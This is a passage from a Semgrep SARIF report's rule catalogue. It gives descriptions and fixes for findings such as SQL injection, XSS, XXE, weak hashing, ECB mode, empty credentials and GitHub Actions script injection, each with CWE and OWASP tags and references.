calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://pg.uptrace.dev/queries/](https://pg.uptrace.dev/queries/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions. When building SQL queries in Go, it is possible to adopt prepared statements by using the `Prepare` and `PrepareContext` calls with parameterized queries. For more information, see: [Prepared statements in Go](https://go.dev/doc/database/prepared-statements)."},"helpUri":"https://semgrep.dev/r/go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf","id":"go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf","name":"go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.grpc.sql.grpc-pg-sqli-taint-med-conf.grpc-pg-sqli-taint-med-conf"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"User-controlled data from request is passed to 'RawSQL()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string."},"help":{"markdown":"User-controlled data from request is passed to 'RawSQL()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql)\n - [https://docs.djangoproject.com/en/3.0/ref/models/expressions/#django.db.models.expressions.RawSQL](https://docs.djangoproject.com/en/3.0/ref/models/expressions/#django.db.models.expressions.RawSQL)\n","text":"User-controlled data from request is passed to 'RawSQL()'. This could lead to a SQL injection and therefore protected information could be leaked. Instead, use parameterized queries or escape the user-controlled data by using `params` and not using quote placeholders in the SQL string."},"helpUri":"https://semgrep.dev/r/python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql","id":"python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql","name":"python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.injection.sql.sql-injection-rawsql.sql-injection-using-rawsql"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"MD5 hash algorithm detected. This is not collision resistant and leads to easily-cracked password hashes. Replace with current recommended hashing algorithms."},"help":{"markdown":"MD5 hash algorithm detected. This is not collision resistant and leads to easily-cracked password hashes. Replace with current recommended hashing algorithms.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/clojure.lang.security.use-of-md5.use-of-md5)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Cryptographic_Storage_Cheat_Sheet.html)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Password_Storage_Cheat_Sheet.html)\n","text":"MD5 hash algorithm detected. This is not collision resistant and leads to easily-cracked password hashes. Replace with current recommended hashing algorithms."},"helpUri":"https://semgrep.dev/r/clojure.lang.security.use-of-md5.use-of-md5","id":"clojure.lang.security.use-of-md5.use-of-md5","name":"clojure.lang.security.use-of-md5.use-of-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: clojure.lang.security.use-of-md5.use-of-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. The driver API has the ability to bind parameters to the query in a safe way. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi","id":"python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi","name":"python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.generic-sql-fastapi.generic-sql-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"help":{"markdown":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"The application creates a database connection with an empty password. This can lead to unauthorized access by either an internal or external malicious actor. To prevent this vulnerability, enforce authentication when connecting to a database by using environment variables to securely provide credentials or retrieving them from a secure vault or HSM (Hardware Security Module)."},"helpUri":"https://semgrep.dev/r/ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password","id":"ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password","name":"ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.redis.ruby-redis-sentinels-empty-password.ruby-redis-sentinels-empty-password"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected string concatenation with a non-literal variable in a pgx Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can use parameterized queries like so: (`SELECT $1 FROM table`, `data1)"},"help":{"markdown":"Detected string concatenation with a non-literal variable in a pgx Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can use parameterized queries like so: (`SELECT $1 FROM table`, `data1)\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.audit.sqli.pgx-sqli.pgx-sqli)\n - [https://github.com/jackc/pgx](https://github.com/jackc/pgx)\n - [https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool](https://pkg.go.dev/github.com/jackc/pgx/v4#hdr-Connection_Pool)\n","text":"Detected string concatenation with a non-literal variable in a pgx Go SQL statement. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries instead. You can use parameterized queries like so: (`SELECT $1 FROM table`, `data1)"},"helpUri":"https://semgrep.dev/r/go.lang.security.audit.sqli.pgx-sqli.pgx-sqli","id":"go.lang.security.audit.sqli.pgx-sqli.pgx-sqli","name":"go.lang.security.audit.sqli.pgx-sqli.pgx-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.audit.sqli.pgx-sqli.pgx-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an AWS Elasticsearch domain using an insecure version of TLS. To fix this, set \"tls_security_policy\" equal to \"Policy-Min-TLS-1-2-2019-07\"."},"help":{"markdown":"Detected an AWS Elasticsearch domain using an insecure version of TLS. To fix this, set \"tls_security_policy\" equal to \"Policy-Min-TLS-1-2-2019-07\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Detected an AWS Elasticsearch domain using an insecure version of TLS. To fix this, set \"tls_security_policy\" equal to \"Policy-Min-TLS-1-2-2019-07\"."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version","id":"terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version","name":"terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version","properties":{"precision":"very-high","tags":["CWE-326: Inadequate Encryption Strength","HIGH CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-elasticsearch-insecure-tls-version.aws-elasticsearch-insecure-tls-version"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize."},"help":{"markdown":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint)\n - [https://docs.angularjs.org/api/ng/function/angular.element](https://docs.angularjs.org/api/ng/function/angular.element)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"Use of angular.element can lead to XSS if user-input is treated as part of the HTML element within `$SINK`. It is recommended to contextually output encode user-input, before inserting into `$SINK`. If the HTML needs to be preserved it is recommended to sanitize the input using $sce.getTrustedHTML or $sanitize."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint","id":"javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint","name":"javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-element-taint.detect-angular-element-taint"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.secrets.pg.pg-empty-password.pg-empty-password)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"The application uses an empty credential. This can lead to unauthorized access by either an internal or external malicious actor. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/go.secrets.pg.pg-empty-password.pg-empty-password","id":"go.secrets.pg.pg-empty-password.pg-empty-password","name":"go.secrets.pg.pg-empty-password.pg-empty-password","properties":{"precision":"very-high","tags":["CWE-287: Improper Authentication","HIGH CONFIDENCE","OWASP-A02:2017 - Broken Authentication","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: go.secrets.pg.pg-empty-password.pg-empty-password"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application's App Transport Security (ATS) configuration does not leverage the in-built public key pinning mechanisms. The application should consider leverage ATS public key pinning to ensure that the application only communicates to serves with an allow-listed certificate (and public key). By default the device will allow connections if the default trust store (CA store) posesses the right certificates. The number of accepted Certificate Authorities by default is hundreds. Using public key pinning vastly reduces the attack surface."},"help":{"markdown":"The application's App Transport Security (ATS) configuration does not leverage the in-built public key pinning mechanisms. The application should consider leverage ATS public key pinning to ensure that the application only communicates to serves with an allow-listed certificate (and public key). By default the device will allow connections if the default trust store (CA store) posesses the right certificates. The number of accepted Certificate Authorities by default is hundreds. Using public key pinning vastly reduces the attack surface.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning)\n - [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06g-testing-network-communication)\n","text":"The application's App Transport Security (ATS) configuration does not leverage the in-built public key pinning mechanisms. The application should consider leverage ATS public key pinning to ensure that the application only communicates to serves with an allow-listed certificate (and public key). By default the device will allow connections if the default trust store (CA store) posesses the right certificates. The number of accepted Certificate Authorities by default is hundreds. Using public key pinning vastly reduces the attack surface."},"helpUri":"https://semgrep.dev/r/swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning","id":"swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning","name":"swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning","properties":{"precision":"very-high","tags":["CWE-296: Improper Following of a Certificate's Chain of Trust","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.insecure-communication.ats.ats-pinning.ATS-consider-pinning"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"`$TY` is setup to use the ECB cipher mode. This mode is insecure because it does not use an initialization vector (IV) and can leak information about the plaintext. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"help":{"markdown":"`$TY` is setup to use the ECB cipher mode. This mode is insecure because it does not use an initialization vector (IV) and can leak information about the plaintext. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode)\n - [https://cwe.mitre.org/data/definitions/327.html](https://cwe.mitre.org/data/definitions/327.html)\n - [https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358](https://learn.microsoft.com/en-us/dotnet/fundamentals/code-analysis/quality-rules/ca5358)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"`$TY` is setup to use the ECB cipher mode. This mode is insecure because it does not use an initialization vector (IV) and can leak information about the plaintext. Use a more secure scheme like `AesGcm` or a mode like `CipherMode.CTS`."},"helpUri":"https://semgrep.dev/r/csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode","id":"csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode","name":"csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: csharp.dotnet.crypto.ciphers.ecb-mode.ecb-mode"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"help":{"markdown":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false)\n - [https://owasp.org/Top10/A05_2021-Security_Misconfiguration](https://owasp.org/Top10/A05_2021-Security_Misconfiguration)\n","text":"Detected a cookie where the `HttpOnly` flag is either missing or disabled. The `HttpOnly` cookie flag instructs the browser to forbid client-side JavaScript to read the cookie. If JavaScript interaction is required, you can ignore this finding. However, set the `HttpOnly` flag to `true` in all other cases."},"helpUri":"https://semgrep.dev/r/python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false","id":"python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false","name":"python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false","properties":{"precision":"very-high","tags":["CWE-1004: Sensitive Cookie Without 'HttpOnly' Flag","HIGH CONFIDENCE","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.web.fastapi-cookie-httponly-false.fastapi-cookie-httponly-false"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The function `openssl_decrypt` returns either a string of the decrypted data on success or `false` on failure. If the failure case is not handled, this could lead to undefined behavior in your application. Please handle the case where `openssl_decrypt` returns `false`."},"help":{"markdown":"The function `openssl_decrypt` returns either a string of the decrypted data on success or `false` on failure. If the failure case is not handled, this could lead to undefined behavior in your application. Please handle the case where `openssl_decrypt` returns `false`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate)\n - [https://www.php.net/manual/en/function.openssl-decrypt.php](https://www.php.net/manual/en/function.openssl-decrypt.php)\n","text":"The function `openssl_decrypt` returns either a string of the decrypted data on success or `false` on failure. If the failure case is not handled, this could lead to undefined behavior in your application. Please handle the case where `openssl_decrypt` returns `false`."},"helpUri":"https://semgrep.dev/r/php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate","id":"php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate","name":"php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate","properties":{"precision":"very-high","tags":["CWE-252: Unchecked Return Value","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.audit.openssl-decrypt-validate.openssl-decrypt-validate"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'http://'. This connection will not be encrypted. Use 'https://' instead."},"help":{"markdown":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'http://'. This connection will not be encrypted. Use 'https://' instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.Request](https://docs.python.org/3/library/urllib.request.html#urllib.request.Request)\n","text":"Detected a 'urllib.request.Request()' object using an insecure transport protocol, 'http://'. This connection will not be encrypted. Use 'https://' instead."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object","id":"python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object","name":"python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-request-object.insecure-request-object"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"help":{"markdown":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader)\n - [https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html](https://websec.io/2012/08/27/Preventing-XXE-in-PHP.html)\n - [https://www.php.net/libxml_disable_entity_loader](https://www.php.net/libxml_disable_entity_loader)\n - [https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php](https://www.php.net/manual/en/function.libxml-set-external-entity-loader.php)\n","text":"The application is using an XML parser that has not been safely configured. This might lead to XML External Entity (XXE) vulnerabilities when parsing user-controlled input. An attacker can include document type definitions (DTDs) which can interact with internal or external hosts. XXE can lead to other vulnerabilities, such as Local File Inclusion (LFI), Remote Code Execution (RCE), and Server-side request forgery (SSRF), depending on the application configuration. An attacker can also use DTDs to expand recursively, leading to a Denial-of-Service (DoS) attack, also known as a Billion Laughs Attack. The best defense against XXE is to have an XML parser that supports disabling DTDs. Limiting the use of external entities from the start can prevent the parser from being used to process untrusted XML files. Reducing dependencies on external resources is also a good practice for performance reasons. It is difficult to guarantee that even a trusted XML file on your server or during transmission has not been tampered with by a malicious third-party."},"helpUri":"https://semgrep.dev/r/php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader","id":"php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader","name":"php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","HIGH CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: php.lang.security.xml-external-entities-unsafe-entity-loader.xml-external-entities-unsafe-entity-loader"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using variable interpolation `${{...}}` with `github` context data in a `actions/github-script`'s `script:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\"."},"help":{"markdown":"Using variable interpolation `${{...}}` with `github` context data in a `actions/github-script`'s `script:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\".\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.github-actions.security.github-script-injection.github-script-injection)\n - [https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections](https://docs.github.com/en/actions/learn-github-actions/security-hardening-for-github-actions#understanding-the-risk-of-script-injections)\n - [https://securitylab.github.com/research/github-actions-untrusted-input/](https://securitylab.github.com/research/github-actions-untrusted-input/)\n - [https://github.com/actions/github-script](https://github.com/actions/github-script)\n","text":"Using variable interpolation `${{...}}` with `github` context data in a `actions/github-script`'s `script:` step could allow an attacker to inject their own code into the runner. This would allow them to steal secrets and code. `github` context data can have arbitrary user input and should be treated as untrusted. Instead, use an intermediate environment variable with `env:` to store the data and use the environment variable in the `run:` script. Be sure to use double-quotes the environment variable, like this: \"$ENVVAR\"."},"helpUri":"https://semgrep.dev/r/yaml.github-actions.security.github-script-injection.github-script-injection","id":"yaml.github-actions.security.github-script-injection.github-script-injection","name":"yaml.github-actions.security.github-script-injection.github-script-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.github-actions.security.github-script-injection.github-script-injection"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Auditing is not enabled for DocumentDB. To ensure that you are able to accurately audit the usage of your DocumentDB cluster, you should enable auditing and export logs to CloudWatch."},"help":{"markdown":"Auditing is not enabled for DocumentDB. To ensure that you are able to accurately audit the usage of your DocumentDB cluster, you should enable auditing and export logs to CloudWatch.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled)\n - [https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/docdb_cluster#enabled_cloudwatch_logs_exports](https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/docdb_cluster#enabled_cloudwatch_logs_exports)\n - [https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/](https://owasp.org/Top10/A09_2021-Security_Logging_and_Monitoring_Failures/)\n","text":"Auditing is not enabled for DocumentDB. To ensure that you are able to accurately audit the usage of your DocumentDB cluster, you should enable auditing and export logs to CloudWatch."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled","id":"terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled","name":"terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled","properties":{"precision":"very-high","tags":["CWE-778: Insufficient Logging","MEDIUM CONFIDENCE","OWASP-A09:2021 - Security Logging and Monitoring Failures","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-documentdb-auditing-disabled.aws-documentdb-auditing-disabled"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be 